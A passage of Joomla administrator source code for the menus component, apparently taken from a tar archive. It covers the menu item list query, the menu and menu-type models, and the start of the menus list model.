$this->setState('menutypeid', ''); } elseif ($menuType == 'main') { // Special menu types, if selected explicitly, will be allowed as a filter // Adjust client_id to match the menutype. This is safe as client_id was not changed in this request. $app->getInput()->set('client_id', 1); $app->setUserState($this->context . '.menutype', $menuType); $this->setState('menutypetitle', ucfirst($menuType)); $this->setState('menutypeid', -1); } elseif ($cMenu = $this->getMenu($menuType, true)) { // Get the menutype object with appropriate checks. // Adjust client_id to match the menutype. This is safe as client_id was not changed in this request. $app->getInput()->set('client_id', $cMenu->client_id); $app->setUserState($this->context . '.menutype', $menuType); $this->setState('menutypetitle', $cMenu->title); $this->setState('menutypeid', $cMenu->id); } else { // This menutype does not exist, leave client id unchanged but reset menutype and pagination $menuType = ''; $app->getInput()->set('limitstart', 0); $app->getInput()->set('menutype', $menuType); $app->setUserState($this->context . '.menutype', $menuType); $this->setState('menutypetitle', ''); $this->setState('menutypeid', ''); } // Client id filter $clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int'); $this->setState('filter.client_id', $clientId); // Use a different filter file when client is administrator if ($clientId == 1) { $this->filterFormName = 'filter_itemsadmin'; } $this->setState('filter.menutype', $menuType); $language = $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Component parameters. $params = ComponentHelper::getParams('com_menus'); $this->setState('params', $params); // List state information. parent::populateState($ordering, $direction); // Force a language. if (!empty($forcedLanguage)) { $this->setState('filter.language', $forcedLanguage); } } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.access'); $id .= ':' . $this->getState('filter.published'); $id .= ':' . $this->getState('filter.language'); $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.parent_id'); $id .= ':' . $this->getState('filter.menutype'); $id .= ':' . $this->getState('filter.client_id'); return parent::getStoreId($id); } /** * Builds an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery A query object. * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); $user = $this->getCurrentUser(); $clientId = (int) $this->getState('filter.client_id'); // Select all fields from the table. $query->select( // We can't quote state values because they could contain expressions. $this->getState( 'list.select', [ $db->quoteName('a.id'), $db->quoteName('a.menutype'), $db->quoteName('a.title'), $db->quoteName('a.alias'), $db->quoteName('a.note'), $db->quoteName('a.path'), $db->quoteName('a.link'), $db->quoteName('a.type'), $db->quoteName('a.parent_id'), $db->quoteName('a.level'), $db->quoteName('a.component_id'), $db->quoteName('a.checked_out'), $db->quoteName('a.checked_out_time'), $db->quoteName('a.browserNav'), $db->quoteName('a.access'), $db->quoteName('a.img'), $db->quoteName('a.template_style_id'), $db->quoteName('a.params'), $db->quoteName('a.lft'), $db->quoteName('a.rgt'), $db->quoteName('a.home'), $db->quoteName('a.language'), $db->quoteName('a.client_id'), $db->quoteName('a.publish_up'), $db->quoteName('a.publish_down'), ] ) ) ->select( [ $db->quoteName('l.title', 'language_title'), $db->quoteName('l.image', 'language_image'), $db->quoteName('l.sef', 'language_sef'), $db->quoteName('u.name', 'editor'), $db->quoteName('c.element', 'componentname'), $db->quoteName('ag.title', 'access_level'), $db->quoteName('mt.id', 'menutype_id'), $db->quoteName('mt.title', 'menutype_title'), $db->quoteName('e.enabled'), $db->quoteName('e.name'), 'CASE WHEN ' . $db->quoteName('a.type') . ' = ' . $db->quote('component') . ' THEN ' . $db->quoteName('a.published') . ' +2 * (' . $db->quoteName('e.enabled') . ' -1)' . ' ELSE ' . $db->quoteName('a.published') . ' END AS ' . $db->quoteName('published'), ] ) ->from($db->quoteName('#__menu', 'a')); // Join over the language $query->join('LEFT', $db->quoteName('#__languages', 'l'), $db->quoteName('l.lang_code') . ' = ' . $db->quoteName('a.language')); // Join over the users. $query->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('u.id') . ' = ' . $db->quoteName('a.checked_out')); // Join over components $query->join('LEFT', $db->quoteName('#__extensions', 'c'), $db->quoteName('c.extension_id') . ' = ' . $db->quoteName('a.component_id')); // Join over the asset groups. $query->join('LEFT', $db->quoteName('#__viewlevels', 'ag'), $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access')); // Join over the menu types. $query->join('LEFT', $db->quoteName('#__menu_types', 'mt'), $db->quoteName('mt.menutype') . ' = ' . $db->quoteName('a.menutype')); // Join over the extensions $query->join('LEFT', $db->quoteName('#__extensions', 'e'), $db->quoteName('e.extension_id') . ' = ' . $db->quoteName('a.component_id')); // Join over the associations. if (Associations::isEnabled()) { $subQuery = $db->getQuery(true) ->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1') ->from($db->quoteName('#__associations', 'asso1')) ->join('INNER', $db->quoteName('#__associations', 'asso2'), $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key')) ->where( [ $db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'), $db->quoteName('asso1.context') . ' = ' . $db->quote('com_menus.item'), ] ); $query->select('(' . $subQuery . ') AS ' . $db->quoteName('association')); } // Exclude the root category. $query->where( [ $db->quoteName('a.id') . ' > 1', $db->quoteName('a.client_id') . ' = :clientId', ] ) ->bind(':clientId', $clientId, ParameterType::INTEGER); // Filter on the published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $published = (int) $published; $query->where($db->quoteName('a.published') . ' = :published') ->bind(':published', $published, ParameterType::INTEGER); } elseif ($published === '') { $query->where($db->quoteName('a.published') . ' IN (0, 1)'); } // Filter by search in title, alias or id if ($search = trim($this->getState('filter.search', ''))) { if (stripos($search, 'id:') === 0) { $search = (int) substr($search, 3); $query->where($db->quoteName('a.id') . ' = :search') ->bind(':search', $search, ParameterType::INTEGER); } elseif (stripos($search, 'link:') === 0) { if ($search = str_replace(' ', '%', trim(substr($search, 5)))) { $query->where($db->quoteName('a.link') . ' LIKE :search') ->bind(':search', $search); } } else { $search = '%' . str_replace(' ', '%', trim($search)) . '%'; $query->extendWhere( 'AND', [ $db->quoteName('a.title') . ' LIKE :search1', $db->quoteName('a.alias') . ' LIKE :search2', $db->quoteName('a.note') . ' LIKE :search3', ], 'OR' ) ->bind([':search1', ':search2', ':search3'], $search); } } // Filter the items over the parent id if set. $parentId = (int) $this->getState('filter.parent_id'); $level = (int) $this->getState('filter.level'); if ($parentId) { // Create a subquery for the sub-items list $subQuery = $db->getQuery(true) ->select($db->quoteName('sub.id')) ->from($db->quoteName('#__menu', 'sub')) ->join( 'INNER', $db->quoteName('#__menu', 'this'), $db->quoteName('sub.lft') . ' > ' . $db->quoteName('this.lft') . ' AND ' . $db->quoteName('sub.rgt') . ' < ' . $db->quoteName('this.rgt') ) ->where($db->quoteName('this.id') . ' = :parentId1'); if ($level) { $subQuery->where($db->quoteName('sub.level') . ' <= ' . $db->quoteName('this.level') . ' + :level - 1'); $query->bind(':level', $level, ParameterType::INTEGER); } // Add the subquery to the main query $query->extendWhere( 'AND', [ $db->quoteName('a.parent_id') . ' = :parentId2', $db->quoteName('a.parent_id') . ' IN (' . (string) $subQuery . ')', ], 'OR' ) ->bind([':parentId1', ':parentId2'], $parentId, ParameterType::INTEGER); } elseif ($level) { // Filter on the level. $query->where($db->quoteName('a.level') . ' <= :level') ->bind(':level', $level, ParameterType::INTEGER); } // Filter the items over the menu id if set. $menuType = $this->getState('filter.menutype'); // A value "" means all if ($menuType == '') { // Load all menu types we have manage access $query2 = $db->getQuery(true) ->select( [ $db->quoteName('id'), $db->quoteName('menutype'), ] ) ->from($db->quoteName('#__menu_types')) ->where($db->quoteName('client_id') . ' = :clientId') ->bind(':clientId', $clientId, ParameterType::INTEGER) ->order($db->quoteName('title')); // Show protected items on explicit filter only $query->where($db->quoteName('a.menutype') . ' != ' . $db->quote('main')); $menuTypes = $db->setQuery($query2)->loadObjectList(); if ($menuTypes) { $types = []; foreach ($menuTypes as $type) { if ($user->authorise('core.manage', 'com_menus.menu.' . (int) $type->id)) { $types[] = $type->menutype; } } if ($types) { $query->whereIn($db->quoteName('a.menutype'), $types); } else { $query->where(0); } } } elseif (strlen($menuType)) { // Default behavior => load all items from a specific menu $query->where($db->quoteName('a.menutype') . ' = :menuType') ->bind(':menuType', $menuType); } else { // Empty menu type => error $query->where('1 != 1'); } // Filter on the access level. if ($access = (int) $this->getState('filter.access')) { $query->where($db->quoteName('a.access') . ' = :access') ->bind(':access', $access, ParameterType::INTEGER); } // Implement View Level Access if (!$user->authorise('core.admin')) { if ($groups = $user->getAuthorisedViewLevels()) { $query->whereIn($db->quoteName('a.access'), $groups); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where($db->quoteName('a.language') . ' = :language') ->bind(':language', $language); } // Filter on componentName if ($componentName = $this->getState('filter.componentName')) { $query->where($db->quoteName('e.element') . ' = :component') ->bind(':component', $componentName); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to allow derived classes to preprocess the form. * * @param Form $form A Form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 3.2 * @throws \Exception if there is an error in the form event. */ protected function preprocessForm(Form $form, $data, $group = 'content') { $name = $form->getName(); if ($name == 'com_menus.items.filter') { $clientId = $this->getState('filter.client_id'); $form->setFieldAttribute('menutype', 'clientid', $clientId); } elseif (false !== strpos($name, 'com_menus.items.modal.')) { $form->removeField('client_id'); $clientId = $this->getState('filter.client_id'); $form->setFieldAttribute('menutype', 'clientid', $clientId); } } /** * Get the client id for a menu * * @param string $menuType The menutype identifier for the menu * @param boolean $check Flag whether to perform check against ACL as well as existence * * @return integer * * @since 3.7.0 */ protected function getMenu($menuType, $check = false) { $db = $this->getDatabase(); $query = $db->getQuery(true); $query->select($db->quoteName('a') . '.*') ->from($db->quoteName('#__menu_types', 'a')) ->where($db->quoteName('menutype') . ' = :menuType') ->bind(':menuType', $menuType); $cMenu = $db->setQuery($query)->loadObject(); if ($check) { // Check if menu type exists. if (!$cMenu) { Log::add(Text::_('COM_MENUS_ERROR_MENUTYPE_NOT_FOUND'), Log::ERROR, 'jerror'); return false; } elseif (!$this->getCurrentUser()->authorise('core.manage', 'com_menus.menu.' . $cMenu->id)) { // Check if menu type is valid against ACL. Log::add(Text::_('JERROR_ALERTNOAUTHOR'), Log::ERROR, 'jerror'); return false; } } return $cMenu; } /** * Method to get an array of data items. * * @return mixed An array of data items on success, false on failure. * * @since 3.0.1 */ public function getItems() { $store = $this->getStoreId(); if (!isset($this->cache[$store])) { $items = parent::getItems(); $lang = Factory::getLanguage(); $client = $this->state->get('filter.client_id'); if ($items) { foreach ($items as $item) { if ($extension = $item->componentname) { $lang->load("$extension.sys", JPATH_ADMINISTRATOR) || $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension); } // Translate component name if ($client === 1) { $item->title = Text::_($item->title); } } } $this->cache[$store] = $items; } return $this->cache[$store]; } } MenuModel.php 0000644 00000026714 15172774270 0007170 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\Model; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\MVC\Model\FormModel; use Joomla\CMS\Object\CMSObject; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Table\Table; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Menu Item Model for Menus. * * @since 1.6 */ class MenuModel extends FormModel { /** * The prefix to use with controller messages. * * @var string * @since 1.6 */ protected $text_prefix = 'COM_MENUS_MENU'; /** * Model context string. * * @var string */ protected $_context = 'com_menus.menu'; /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canDelete($record) { return $this->getCurrentUser()->authorise('core.delete', 'com_menus.menu.' . (int) $record->id); } /** * Method to test whether the state of a record can be edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canEditState($record) { return $this->getCurrentUser()->authorise('core.edit.state', 'com_menus.menu.' . (int) $record->id); } /** * Returns a Table object, always creating it * * @param string $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return Table A database object * * @since 1.6 */ public function getTable($type = 'MenuType', $prefix = '\JTable', $config = []) { return Table::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 1.6 */ protected function populateState() { $app = Factory::getApplication(); // Load the User state. $id = $app->getInput()->getInt('id'); $this->setState('menu.id', $id); // Load the parameters. $params = ComponentHelper::getParams('com_menus'); $this->setState('params', $params); // Load the clientId. $clientId = $app->getUserStateFromRequest('com_menus.menus.client_id', 'client_id', 0, 'int'); $this->setState('client_id', $clientId); } /** * Method to get a menu item. * * @param integer $itemId The id of the menu item to get. * * @return mixed Menu item data object on success, false on failure. * * @since 1.6 */ public function &getItem($itemId = null) { $itemId = (!empty($itemId)) ? $itemId : (int) $this->getState('menu.id'); // Get a menu item row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($itemId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return false; } $properties = $table->getProperties(1); $value = ArrayHelper::toObject($properties, CMSObject::class); return $value; } /** * Method to get the menu item form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|boolean A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_menus.menu', 'menu', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } if (!$this->getState('client_id', 0)) { $form->removeField('preset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_menus.edit.menu.data', []); if (empty($data)) { $data = $this->getItem(); if (empty($data->id)) { $data->client_id = $this->state->get('client_id', 0); } } else { unset($data['preset']); } $this->preprocessData('com_menus.menu', $data); return $data; } /** * Method to validate the form data. * * @param Form $form The form to validate against. * @param array $data The data to validate. * @param string $group The name of the field group to validate. * * @return array|boolean Array of filtered data if valid, false otherwise. * * @see JFormRule * @see JFilterInput * @since 3.9.23 */ public function validate($form, $data, $group = null) { if (!$this->getCurrentUser()->authorise('core.admin', 'com_menus')) { if (isset($data['rules'])) { unset($data['rules']); } } return parent::validate($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { $id = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('menu.id'); $isNew = true; // Get a row instance. $table = $this->getTable(); // Include the plugins for the save events. PluginHelper::importPlugin('content'); // Load the row if saving an existing item. if ($id > 0) { $isNew = false; $table->load($id); } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the before event. $result = Factory::getApplication()->triggerEvent('onContentBeforeSave', [$this->_context, &$table, $isNew, $data]); // Store the data. if (in_array(false, $result, true) || !$table->store()) { $this->setError($table->getError()); return false; } // Trigger the after save event. Factory::getApplication()->triggerEvent('onContentAfterSave', [$this->_context, &$table, $isNew]); $this->setState('menu.id', $table->id); // Clean the cache $this->cleanCache(); return true; } /** * Method to delete groups. * * @param array $itemIds An array of item ids. * * @return boolean Returns true on success, false on failure. * * @since 1.6 */ public function delete($itemIds) { // Sanitize the ids. $itemIds = ArrayHelper::toInteger((array) $itemIds); // Get a group row instance. $table = $this->getTable(); // Include the plugins for the delete events. PluginHelper::importPlugin('content'); // Iterate the items to delete each one. foreach ($itemIds as $itemId) { if ($table->load($itemId)) { // Trigger the before delete event. $result = Factory::getApplication()->triggerEvent('onContentBeforeDelete', [$this->_context, $table]); if (in_array(false, $result, true) || !$table->delete($itemId)) { $this->setError($table->getError()); return false; } // Trigger the after delete event. Factory::getApplication()->triggerEvent('onContentAfterDelete', [$this->_context, $table]); // @todo: Delete the menu associations - Menu items and Modules } } // Clean the cache $this->cleanCache(); return true; } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array * * @since 1.6 */ public function &getModules() { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select( [ $db->quoteName('a.id'), $db->quoteName('a.title'), $db->quoteName('a.params'), $db->quoteName('a.position'), $db->quoteName('ag.title', 'access_title'), ] ) ->from($db->quoteName('#__modules', 'a')) ->join('LEFT', $db->quoteName('#__viewlevels', 'ag'), $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access')) ->where($db->quoteName('a.module') . ' = ' . $db->quote('mod_menu')); $db->setQuery($query); $modules = $db->loadObjectList(); $result = []; foreach ($modules as &$module) { $params = new Registry($module->params); $menuType = $params->get('menutype'); if (!isset($result[$menuType])) { $result[$menuType] = []; } $result[$menuType][] = &$module; } return $result; } /** * Returns the extension elements for the given items * * @param array $itemIds The item ids * * @return array * * @since 4.2.0 */ public function getExtensionElementsForMenuItems(array $itemIds): array { $db = $this->getDatabase(); $query = $db->getQuery(true); $query ->select($db->quoteName('e.element')) ->from($db->quoteName('#__extensions', 'e')) ->join('INNER', $db->quoteName('#__menu', 'm'), $db->quoteName('m.component_id') . ' = ' . $db->quoteName('e.extension_id')) ->whereIn($db->quoteName('m.id'), ArrayHelper::toInteger($itemIds)); return $db->setQuery($query)->loadColumn(); } /** * Custom clean the cache * * @param string $group Cache group name. * @param integer $clientId No longer used, will be removed without replacement * @deprecated 4.3 will be removed in 6.0 * * @return void * * @since 1.6 */ protected function cleanCache($group = null, $clientId = 0) { parent::cleanCache('com_menus'); parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } MenutypesModel.php 0000644 00000047216 15172774270 0010255 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\Model; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Object\CMSObject; use Joomla\Component\Menus\Administrator\Helper\MenusHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Menu Item Types Model for Menus. * * @since 1.6 */ class MenutypesModel extends BaseDatabaseModel { /** * A reverse lookup of the base link URL to Title * * @var array */ protected $rlu = []; /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * @return void * * @note Calling getState in this method will result in recursion. * @since 3.0.1 */ protected function populateState() { parent::populateState(); $clientId = Factory::getApplication()->getInput()->get('client_id', 0); $this->state->set('client_id', $clientId); } /** * Method to get the reverse lookup of the base link URL to Title * * @return array Array of reverse lookup of the base link URL to Title * * @since 1.6 */ public function getReverseLookup() { if (empty($this->rlu)) { $this->getTypeOptions(); } return $this->rlu; } /** * Method to get the available menu item type options. * * @return array Array of groups with menu item types. * * @since 1.6 */ public function getTypeOptions() { $lang = Factory::getLanguage(); $list = []; // Get the list of components. $db = $this->getDatabase(); $query = $db->getQuery(true) ->select( [ $db->quoteName('name'), $db->quoteName('element', 'option'), ] ) ->from($db->quoteName('#__extensions')) ->where( [ $db->quoteName('type') . ' = ' . $db->quote('component'), $db->quoteName('enabled') . ' = 1', ] ) ->order($db->quoteName('name') . ' ASC'); $db->setQuery($query); $components = $db->loadObjectList(); foreach ($components as $component) { $options = $this->getTypeOptionsByComponent($component->option); if ($options) { $list[$component->name] = $options; // Create the reverse lookup for link-to-name. foreach ($options as $option) { if (isset($option->request)) { $this->addReverseLookupUrl($option); if (isset($option->request['option'])) { $componentLanguageFolder = JPATH_ADMINISTRATOR . '/components/' . $option->request['option']; $lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR) || $lang->load($option->request['option'] . '.sys', $componentLanguageFolder); } } } } } // Allow a system plugin to insert dynamic menu types to the list shown in menus: Factory::getApplication()->triggerEvent('onAfterGetMenuTypeOptions', [&$list, $this]); return $list; } /** * Method to create the reverse lookup for link-to-name. * (can be used from onAfterGetMenuTypeOptions handlers) * * @param CMSObject $option Object with request array or string and title public variables * * @return void * * @since 3.1 */ public function addReverseLookupUrl($option) { $this->rlu[MenusHelper::getLinkKey($option->request)] = $option->get('title'); } /** * Get menu types by component. * * @param string $component Component URL option. * * @return array * * @since 1.6 */ protected function getTypeOptionsByComponent($component) { $options = []; $client = ApplicationHelper::getClientInfo($this->getState('client_id')); $mainXML = $client->path . '/components/' . $component . '/metadata.xml'; if (is_file($mainXML)) { $options = $this->getTypeOptionsFromXml($mainXML, $component); } if (empty($options)) { $options = $this->getTypeOptionsFromMvc($component); } if ($client->id == 1 && empty($options)) { $options = $this->getTypeOptionsFromManifest($component); } return $options; } /** * Get the menu types from an XML file * * @param string $file File path * @param string $component Component option as in URL * * @return array|boolean * * @since 1.6 */ protected function getTypeOptionsFromXml($file, $component) { $options = []; // Attempt to load the xml file. if (!$xml = simplexml_load_file($file)) { return false; } // Look for the first menu node off of the root node. if (!$menu = $xml->xpath('menu[1]')) { return false; } else { $menu = $menu[0]; } // If we have no options to parse, just add the base component to the list of options. if (!empty($menu['options']) && $menu['options'] == 'none') { // Create the menu option for the component. $o = new CMSObject(); $o->title = (string) $menu['name']; $o->description = (string) $menu['msg']; $o->request = ['option' => $component]; $options[] = $o; return $options; } // Look for the first options node off of the menu node. if (!$optionsNode = $menu->xpath('options[1]')) { return false; } else { $optionsNode = $optionsNode[0]; } // Make sure the options node has children. if (!$children = $optionsNode->children()) { return false; } // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new CMSObject(); $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = ['option' => $component, (string) $optionsNode['var'] => (string) $child['value']]; $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new CMSObject(); $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = ['option' => $component]; $options[] = $o; } } return $options; } /** * Get menu types from MVC * * @param string $component Component option like in URLs * * @return array|boolean * * @since 1.6 */ protected function getTypeOptionsFromMvc($component) { $options = []; $views = []; foreach ($this->getFolders($component) as $path) { if (!is_dir($path)) { continue; } $views = array_merge($views, Folder::folders($path, '.', false, true)); } foreach ($views as $viewPath) { $view = basename($viewPath); // Ignore private views. if (strpos($view, '_') !== 0) { // Determine if a metadata file exists for the view. $file = $viewPath . '/metadata.xml'; if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('view[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); continue; } // Do we have an options node or should we process layouts? // Look for the first options node off of the menu node. if ($optionsNode = $menu->xpath('options[1]')) { $optionsNode = $optionsNode[0]; // Make sure the options node has children. if ($children = $optionsNode->children()) { // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new CMSObject(); $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = ['option' => $component, 'view' => $view, (string) $optionsNode['var'] => (string) $child['value']]; $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new CMSObject(); $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = ['option' => $component, 'view' => $view]; $options[] = $o; } } } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } unset($xml); } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } } return $options; } /** * Get menu types from Component manifest * * @param string $component Component option like in URLs * * @return array|boolean * * @since 3.7.0 */ protected function getTypeOptionsFromManifest($component) { // Load the component manifest $fileName = JPATH_ADMINISTRATOR . '/components/' . $component . '/' . str_replace('com_', '', $component) . '.xml'; if (!is_file($fileName)) { return false; } if (!($manifest = simplexml_load_file($fileName))) { return false; } // Check for a valid XML root tag. if ($manifest->getName() != 'extension') { return false; } $options = []; // Start with the component root menu. $rootMenu = $manifest->administration->menu; // If the menu item doesn't exist or is hidden do nothing. if (!$rootMenu || in_array((string) $rootMenu['hidden'], ['true', 'hidden'])) { return $options; } // Create the root menu option. $ro = new \stdClass(); $ro->title = (string) trim($rootMenu); $ro->description = ''; $ro->request = ['option' => $component]; // Process submenu options. $submenu = $manifest->administration->submenu; if (!$submenu) { return $options; } foreach ($submenu->menu as $child) { $attributes = $child->attributes(); $o = new \stdClass(); $o->title = (string) trim($child); $o->description = ''; if ((string) $attributes->link) { parse_str((string) $attributes->link, $request); } else { $request = []; $request['option'] = $component; $request['act'] = (string) $attributes->act; $request['task'] = (string) $attributes->task; $request['controller'] = (string) $attributes->controller; $request['view'] = (string) $attributes->view; $request['layout'] = (string) $attributes->layout; $request['sub'] = (string) $attributes->sub; } $o->request = array_filter($request, 'strlen'); $options[] = new CMSObject($o); // Do not repeat the default view link (index.php?option=com_abc). if (count($o->request) == 1) { $ro = null; } } if ($ro) { $options[] = new CMSObject($ro); } return $options; } /** * Get the menu types from component layouts * * @param string $component Component option as in URLs * @param string $view Name of the view * * @return array * * @since 1.6 */ protected function getTypeOptionsFromLayouts($component, $view) { $options = []; $layouts = []; $layoutNames = []; $lang = Factory::getLanguage(); $client = ApplicationHelper::getClientInfo($this->getState('client_id')); // Get the views for this component. foreach ($this->getFolders($component) as $folder) { $path = $folder . '/' . $view . '/tmpl'; if (!is_dir($path)) { $path = $folder . '/' . $view; } if (!is_dir($path)) { continue; } $layouts = array_merge($layouts, Folder::files($path, '.xml$', false, true)); } // Build list of standard layout names foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(basename($layout), '_') === false) { // Get the layout name. $layoutNames[] = basename($layout, '.xml'); } } // Get the template layouts // @todo: This should only search one template -- the current template for this item (default of specified) $folders = Folder::folders($client->path . '/templates', '', false, true); // Array to hold association between template file names and templates $templateName = []; foreach ($folders as $folder) { if (is_dir($folder . '/html/' . $component . '/' . $view)) { $template = basename($folder); $lang->load('tpl_' . $template . '.sys', $client->path) || $lang->load('tpl_' . $template . '.sys', $client->path . '/templates/' . $template); $templateLayouts = Folder::files($folder . '/html/' . $component . '/' . $view, '.xml$', false, true); foreach ($templateLayouts as $layout) { // Get the layout name. $templateLayoutName = basename($layout, '.xml'); // Add to the list only if it is not a standard layout if (array_search($templateLayoutName, $layoutNames) === false) { $layouts[] = $layout; // Set template name array so we can get the right template for the layout $templateName[$layout] = basename($folder); } } } } // Process the found layouts. foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(basename($layout), '_') === false) { $file = $layout; // Get the layout name. $layout = basename($layout, '.xml'); // Create the menu option for the layout. $o = new CMSObject(); $o->title = ucfirst($layout); $o->description = ''; $o->request = ['option' => $component, 'view' => $view]; // Only add the layout request argument if not the default layout. if ($layout != 'default') { // If the template is set, add in format template:layout so we save the template name $o->request['layout'] = isset($templateName[$file]) ? $templateName[$file] . ':' . $layout : $layout; } // Load layout metadata if it exists. if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('layout[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); unset($o); continue; } // Populate the title and description if they exist. if (!empty($menu['title'])) { $o->title = trim((string) $menu['title']); } if (!empty($menu->message[0])) { $o->description = trim((string) $menu->message[0]); } } } } // Add the layout to the options array. $options[] = $o; } } return $options; } /** * Get the folders with template files for the given component. * * @param string $component Component option as in URLs * * @return array * * @since 4.0.0 */ private function getFolders($component) { $client = ApplicationHelper::getClientInfo($this->getState('client_id')); if (!is_dir($client->path . '/components/' . $component)) { return []; } $folders = Folder::folders($client->path . '/components/' . $component, '^view[s]?$', false, true); $folders = array_merge($folders, Folder::folders($client->path . '/components/' . $component, '^tmpl?$', false, true)); if (!$folders) { return []; } return $folders; } } MenusModel.php 0000644 00000023370 15172774270 0007346 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\Model; use Joomla\CMS\Helper\ModuleHelper; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Menu List Model for Menus. * * @since 1.6 */ class MenusModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'title', 'a.title', 